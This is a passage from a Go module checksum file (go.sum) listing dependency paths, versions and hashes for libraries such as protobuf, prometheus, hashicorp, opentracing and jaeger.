h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=\ngithub.com/golang/groupcache v0.0.0-20160516000752-02826c3e7903/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=\ngithub.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=\ngithub.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=\ngithub.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=\ngithub.com/golang/protobuf v0.0.0-20161109072736-4bd1920723d7/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=\ngithub.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=\ngithub.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=\ngithub.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=\ngithub.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=\ngithub.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=\ngithub.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=\ngithub.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=\ngithub.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=\ngithub.com/golang/protobuf v1.4.2 h1:+Z5KGCizgyZCbGh1KZqA0fcLLkwbsjIzS4aV2v7wJX0=\ngithub.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=\ngithub.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=\ngithub.com/google/btree v1.0.0 h1:0udJVsspx3VBr5FwtLhQQtuAsVc79tTq0ocGIPAU6qo=\ngithub.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=\ngithub.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=\ngithub.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=\ngithub.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=\ngithub.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.2 h1:X2ev0eStA3AbceY54o37/0PQ/UWqKEiiO2dKL5OPaFM=\ngithub.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=\ngithub.com/google/gofuzz v1.1.0 h1:Hsa8mG0dQ46ij8Sl2AYJDUv1oA9/d6Vk+3LG99Oe02g=\ngithub.com/google/gofuzz v1.1.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=\ngithub.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=\ngithub.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=\ngithub.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=\ngithub.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=\ngithub.com/googleapis/gnostic v0.0.0-20170729233727-0c5108395e2d/go.mod h1:sJBsCZ4ayReDTBIg8b9dl28c5xFWyhBTVRp3pOg5EKY=\ngithub.com/googleapis/gnostic v0.1.0/go.mod h1:sJBsCZ4ayReDTBIg8b9dl28c5xFWyhBTVRp3pOg5EKY=\ngithub.com/gophercloud/gophercloud v0.1.0/go.mod h1:vxM41WHh5uqHVBMZHzuwNOHh8XEoIEcSTewFxm1c5g8=\ngithub.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=\ngithub.com/gopherjs/gopherjs v0.0.0-20200217142428-fce0ec30dd00/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=\ngithub.com/gregjones/httpcache v0.0.0-20180305231024-9cad4c3443a7/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA=\ngithub.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA=\ngithub.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=\ngithub.com/hashicorp/go-immutable-radix v1.0.0 h1:AKDB1HM5PWEA7i4nhcpwOrO2byshxBjXVn/J/3+z5/0=\ngithub.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=\ngithub.com/hashicorp/go-msgpack v0.5.3 h1:zKjpN5BK/P5lMYrLmBHdBULWbJ0XpYR+7NGzqkZzoD4=\ngithub.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=\ngithub.com/hashicorp/go-multierror v1.0.0 h1:iVjPR7a6H0tWELX5NxNe7bYopibicUzc7uPribsnS6o=\ngithub.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=\ngithub.com/hashicorp/go-sockaddr v1.0.0 h1:GeH6tui99pF4NJgfnhp+L6+FfobzVW3Ah46sLo0ICXs=\ngithub.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU=\ngithub.com/hashicorp/go-uuid v1.0.0 h1:RS8zrF7PhGwyNPOtxSClXXj9HA8feRnJzgnI1RJCSnM=\ngithub.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=\ngithub.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=\ngithub.com/hashicorp/golang-lru v0.5.1 h1:0hERBMJE1eitiLkihrMvRVBYAkpHzc/J3QdDN+dAcgU=\ngithub.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=\ngithub.com/hashicorp/memberlist v0.1.4 h1:gkyML/r71w3FL8gUi74Vk76avkj/9lYAY9lvg0OcoGs=\ngithub.com/hashicorp/memberlist v0.1.4/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I=\ngithub.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=\ngithub.com/imdario/mergo v0.3.5/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA=\ngithub.com/instana/go-sensor v1.4.16 h1:0tMdsO4WdduVhT0nJjriBp+tv+36d8Q1/8m6vUy9gS8=\ngithub.com/instana/go-sensor v1.4.16/go.mod h1:P1ynE0u78bUBZ2GkWewRpAO1/w1oW9CKDozeueH6QSg=\ngithub.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=\ngithub.com/json-iterator/go v1.1.8 h1:QiWkFLKq0T7mpzwOTu6BzNDbfTE8OLrYhVKYMLF46Ok=\ngithub.com/json-iterator/go v1.1.8/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=\ngithub.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU=\ngithub.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU=\ngithub.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w=\ngithub.com/kisielk/errcheck v1.2.0/go.mod h1:/BMXB+zMLi60iA8Vv6Ksmxu/1UDYcXs4uQLJ+jE2L00=\ngithub.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=\ngithub.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=\ngithub.com/konsorten/go-windows-terminal-sequences v1.0.1 h1:mweAR1A6xJ3oS2pRaGiHgQ4OO8tzTaLawm8vnODuwDk=\ngithub.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=\ngithub.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=\ngithub.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI=\ngithub.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=\ngithub.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=\ngithub.com/kr/pty v1.1.5/go.mod h1:9r2w37qlBe7rQ6e1fg1S/9xpWHSnaqNdHD3WcMdbPDA=\ngithub.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=\ngithub.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=\ngithub.com/lightstep/lightstep-tracer-common/golang/gogo v0.0.0-20210210170715-a8dfcb80d3a7 h1:YjW+hUb8Fh2S58z4av4t/0cBMK/Q0aP48RocCFsC8yI=\ngithub.com/lightstep/lightstep-tracer-common/golang/gogo v0.0.0-20210210170715-a8dfcb80d3a7/go.mod h1:Spd59icnvRxSKuyijbbwe5AemzvcyXAUBgApa7VybMw=\ngithub.com/lightstep/lightstep-tracer-go v0.24.1-0.20210318180546-a67254760a58 h1:qPPXc3iS7MH/+rrKjoWJvAxl0ju66uPTYiTupe7OIUM=\ngithub.com/lightstep/lightstep-tracer-go v0.24.1-0.20210318180546-a67254760a58/go.mod h1:dUti2qkbGISTJF6xN0Jj6/WxxNFYDmHJBPGkOaCYAi8=\ngithub.com/looplab/fsm v0.1.0 h1:Qte7Zdn/5hBNbXzP7yxVU4OIFHWXBovyTT2LaBTyC20=\ngithub.com/looplab/fsm v0.1.0/go.mod h1:m2VaOfDHxqXBBMgc26m6yUOwkFn8H2AlJDE+jd/uafI=\ngithub.com/mailru/easyjson v0.0.0-20160728113105-d5b7844b561a/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=\ngithub.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=\ngithub.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=\ngithub.com/mailru/easyjson v0.7.0/go.mod h1:KAzv3t3aY1NaHWoQz1+4F1ccyAH66Jk7yos7ldAVICs=\ngithub.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU=\ngithub.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=\ngithub.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=\ngithub.com/miekg/dns v1.1.41 h1:WMszZWJG0XmzbK9FEmzH2TVcqYzFesusSIB41b8KHxY=\ngithub.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI=\ngithub.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=\ngithub.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=\ngithub.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=\ngithub.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=\ngithub.com/modern-go/reflect2 v1.0.1 h1:9f412s+6RmYXLWZSEzVVgPGK7C2PphHj5RJrvfx9AWI=\ngithub.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=\ngithub.com/munnerz/goautoneg v0.0.0-20120707110453-a547fc61f48d/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=\ngithub.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=\ngithub.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f/go.mod h1:ZdcZmHo+o7JKHSa8/e818NopupXU1YMK5fe1lsApnBw=\ngithub.com/nxadm/tail v1.4.4 h1:DQuhQpB1tVlglWS2hLQ5OV6B5r8aGxSrPc5Qo6uTN78=\ngithub.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A=\ngithub.com/oklog/ulid v1.3.1 h1:EGfNDEx6MqHz8B3uNV6QAib1UR2Lm97sHi3ocA6ESJ4=\ngithub.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U=\ngithub.com/onsi/ginkgo v0.0.0-20170829012221-11459a886d9c/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=\ngithub.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=\ngithub.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=\ngithub.com/onsi/ginkgo v1.10.1/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=\ngithub.com/onsi/ginkgo v1.11.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=\ngithub.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk=\ngithub.com/onsi/ginkgo v1.14.2 h1:8mVmC9kjFFmA8H4pKMUhcblgifdkOIXPvbhN1T36q1M=\ngithub.com/onsi/ginkgo v1.14.2/go.mod h1:iSB4RoI2tjJc9BBv4NKIKWKya62Rps+oPG/Lv9klQyY=\ngithub.com/onsi/gomega v0.0.0-20170829124025-dcabb60a477c/go.mod h1:C1qb7wdrVGGVU+Z6iS04AVkA3Q65CEZX59MT0QO5uiA=\ngithub.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=\ngithub.com/onsi/gomega v1.7.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=\ngithub.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=\ngithub.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo=\ngithub.com/onsi/gomega v1.10.3 h1:gph6h/qe9GSUw1NhH1gp+qb+h8rXD8Cy60Z32Qw3ELA=\ngithub.com/onsi/gomega v1.10.3/go.mod h1:V9xEwhxec5O8UDM77eCW8vLymOMltsqPVYWrpDsH8xc=\ngithub.com/opentracing/basictracer-go v1.0.0 h1:YyUAhaEfjoWXclZVJ9sGoNct7j4TVk7lZWlQw5UXuoo=\ngithub.com/opentracing/basictracer-go v1.0.0/go.mod h1:QfBfYuafItcjQuMwinw9GhYKwFXS9KnPs5lxoYwgW74=\ngithub.com/opentracing/opentracing-go v1.0.2/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=\ngithub.com/opentracing/opentracing-go v1.1.0 h1:pWlfV3Bxv7k65HYwkikxat0+s3pV4bsqf19k25Ur8rU=\ngithub.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=\ngithub.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c h1:Lgl0gzECD8GnQ5QCWA8o6BtfL6mDH5rQgM4/fX3avOs=\ngithub.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=\ngithub.com/peterbourgon/diskv v2.0.1+incompatible/go.mod h1:uqqh8zWWbv1HBMNONnaR/tNboyR3/BZd58JJSHlUSCU=\ngithub.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=\ngithub.com/pkg/errors v0.8.1 h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I=\ngithub.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=\ngithub.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=\ngithub.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=\ngithub.com/pquerna/cachecontrol v0.0.0-20180517163645-1555304b9b35 h1:J9b7z+QKAmPf4YLrFg6oQUotqHQeUNWwkvo7jZp1GLU=\ngithub.com/pquerna/cachecontrol v0.0.0-20180517163645-1555304b9b35/go.mod h1:prYjPmNq4d1NPVmpShWobRqXY3q7Vp+80DqgxxUrUIA=\ngithub.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=\ngithub.com/prometheus/client_golang v1.0.0 h1:vrDKnkGzuGvhNAL56c7DBz29ZL+KxnoR0x7enabFceM=\ngithub.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo=\ngithub.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=\ngithub.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 h1:S/YWwWx/RA8rT8tKFRuGUZhuA90OyIBpPCXkcbwU8DE=\ngithub.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=\ngithub.com/prometheus/common v0.4.1 h1:K0MGApIoQvMw27RTdJkPbr3JZ7DNbtxQNyi5STVM6Kw=\ngithub.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4=\ngithub.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=\ngithub.com/prometheus/procfs v0.0.2 h1:6LJUbpNm42llc4HRCuvApCSWB/WfhuNo9K98Q9sNGfs=\ngithub.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA=\ngithub.com/rcrowley/go-metrics v0.0.0-20181016184325-3113b8401b8a h1:9ZKAASQSHhDYGoxY8uLVpewe1GDZ2vu2Tr/vTdVAkFQ=\ngithub.com/rcrowley/go-metrics v0.0.0-20181016184325-3113b8401b8a/go.mod h1:bCqnVzQkZxMG4s8nGwiZ5l3QUCyqpo9Y+/ZMZ9VjZe4=\ngithub.com/remyoudompheng/bigfft v0.0.0-20170806203942-52369c62f446/go.mod h1:uYEyJGbgTkfkS4+E/PavXkNJcbFIpEtjt2B0KDQ5+9M=\ngithub.com/sanity-io/litter v1.1.0 h1:BllcKWa3VbZmOZbDCoszYLk7zCsKHz5Beossi8SUcTc=\ngithub.com/sanity-io/litter v1.1.0/go.mod h1:CJ0VCw2q4qKU7LaQr3n7UOSHzgEMgcGco7N/SkZQPjw=\ngithub.com/sarslanhan/cronmask v0.0.0-20190709075623-766eca24d011 h1:S5j3KTsiGwmQSEJJBp0iIG87CDBCGCwbYLmVv8L/nuE=\ngithub.com/sarslanhan/cronmask v0.0.0-20190709075623-766eca24d011/go.mod h1:NmI1tg7wwsf1hF6G5EtyGCrtNKsH2RIdYYoJa7GsnP8=\ngithub.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529 h1:nn5Wsu0esKSJiIVhscUtVbo7ada43DJhG55ua/hjS5I=\ngithub.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc=\ngithub.com/shirou/gopsutil v2.20.1+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA=\ngithub.com/shirou/gopsutil v3.21.2+incompatible h1:U+YvJfjCh6MslYlIAXvPtzhW3YZEtc9uncueUNpD/0A=\ngithub.com/shirou/gopsutil v3.21.2+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA=\ngithub.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=\ngithub.com/sirupsen/logrus v1.4.2 h1:SPIRibHv4MatM3XXNO2BJeFLZwZ2LvZgfQ5+UNI2im4=\ngithub.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=\ngithub.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc=\ngithub.com/smartystreets/assertions v1.1.1/go.mod h1:tcbTF8ujkAEcZ8TElKY+i30BzYlVhC/LOxJk7iOWnoo=\ngithub.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=\ngithub.com/sony/gobreaker v0.4.1 h1:oMnRNZXX5j85zso6xCPRNPtmAycat+WcoKbklScLDgQ=\ngithub.com/sony/gobreaker v0.4.1/go.mod h1:ZKptC7FHNvhBz7dN2LGjPVBz2sZJmc0/PkyDJOjmxWY=\ngithub.com/spf13/afero v1.2.2/go.mod h1:9ZxEEn6pIJ8Rxe320qSDBk6AsU0r9pR7Q4OcevTdifk=\ngithub.com/spf13/pflag v0.0.0-20170130214245-9ff6c6923cff/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=\ngithub.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=\ngithub.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=\ngithub.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=\ngithub.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=\ngithub.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE=\ngithub.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=\ngithub.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=\ngithub.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=\ngithub.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0=\ngithub.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=\ngithub.com/szuecs/rate-limit-buffer v0.7.1 h1:kpVLwDvpCTFQi8uhiXQrhAKWzNUaEKhArFdjb4GQ8F4=\ngithub.com/szuecs/rate-limit-buffer v0.7.1/go.mod h1:BxqrsmnHsCnWcvbtdcaDLEBmjNEvRFU5LQ8edoZ9B0M=\ngithub.com/szuecs/routegroup-client v0.17.7 h1:kwFU9/r4yiWnk+DKox367EO25JsKfdFdJMREduWWKgs=\ngithub.com/szuecs/routegroup-client v0.17.7/go.mod h1:lHgfovfWP6h6zQoWjVmhUWYrSa62yXstI3uCtgTdTuk=\ngithub.com/tidwall/gjson v1.7.4 h1:19cchw8FOxkG5mdLRkGf9jqIqEyqdZhPqW60XfyFxk8=\ngithub.com/tidwall/gjson v1.7.4/go.mod h1:5/xDoumyyDNerp2U36lyolv46b3uF/9Bu6OfyQ9GImk=\ngithub.com/tidwall/match v1.0.3 h1:FQUVvBImDutD8wJLN6c5eMzWtjgONK9MwIBCOrUJKeE=\ngithub.com/tidwall/match v1.0.3/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=\ngithub.com/tidwall/pretty v1.1.0 h1:K3hMW5epkdAVwibsQEfR/7Zj0Qgt4DxtNumTq/VloO8=\ngithub.com/tidwall/pretty v1.1.0/go.mod h1:XNkn88O1ChpSDQmQeStsy+sBenx6DDtFZJxhVysOjyk=\ngithub.com/tklauser/go-sysconf v0.3.5 h1:uu3Xl4nkLzQfXNsWn15rPc/HQCJKObbt1dKJeWp3vU4=\ngithub.com/tklauser/go-sysconf v0.3.5/go.mod h1:MkWzOF4RMCshBAMXuhXJs64Rte09mITnppBXY/rYEFI=\ngithub.com/tklauser/numcpus v0.2.2 h1:oyhllyrScuYI6g+h/zUvNXNp1wy7x8qQy3t/piefldA=\ngithub.com/tklauser/numcpus v0.2.2/go.mod h1:x3qojaO3uyYt0i56EW/VUYs7uBvdl2fkfZFu0T9wgjM=\ngithub.com/uber-go/atomic v1.4.0 h1:yOuPqEq4ovnhEjpHmfFwsqBXDYbQeT6Nb0bwD6XnD5o=\ngithub.com/uber-go/atomic v1.4.0/go.mod h1:/Ct5t2lcmbJ4OSe/waGBoaVvVqtO0bmtfVNex1PFV8g=\ngithub.com/uber/jaeger-client-go v2.16.0+incompatible h1:Q2Pp6v3QYiocMxomCaJuwQGFt7E53bPYqEgug/AoBtY=\ngithub.com/uber/jaeger-client-go v2.16.0+incompatible/go.mod h1:WVhlPFC8FDjOFMMWRy2pZqQJSXxYSwNYOkTr/Z6d3Kk=\ngithub.com/uber/jaeger-lib v2.0.0+incompatible h1:iMSCV0rmXEogjNWPh2D0xk9YVKvrtGoHJNe9ebLu/pw=\ngithub.com/uber/jaeger-lib v2.0.0+incompatible/go.mod h1:ComeNDZlWwrWnDv8aPp0Ba6+uUTzImX/AauajbLI56U=\ngithub.com/yookoala/gofast v0.6.0 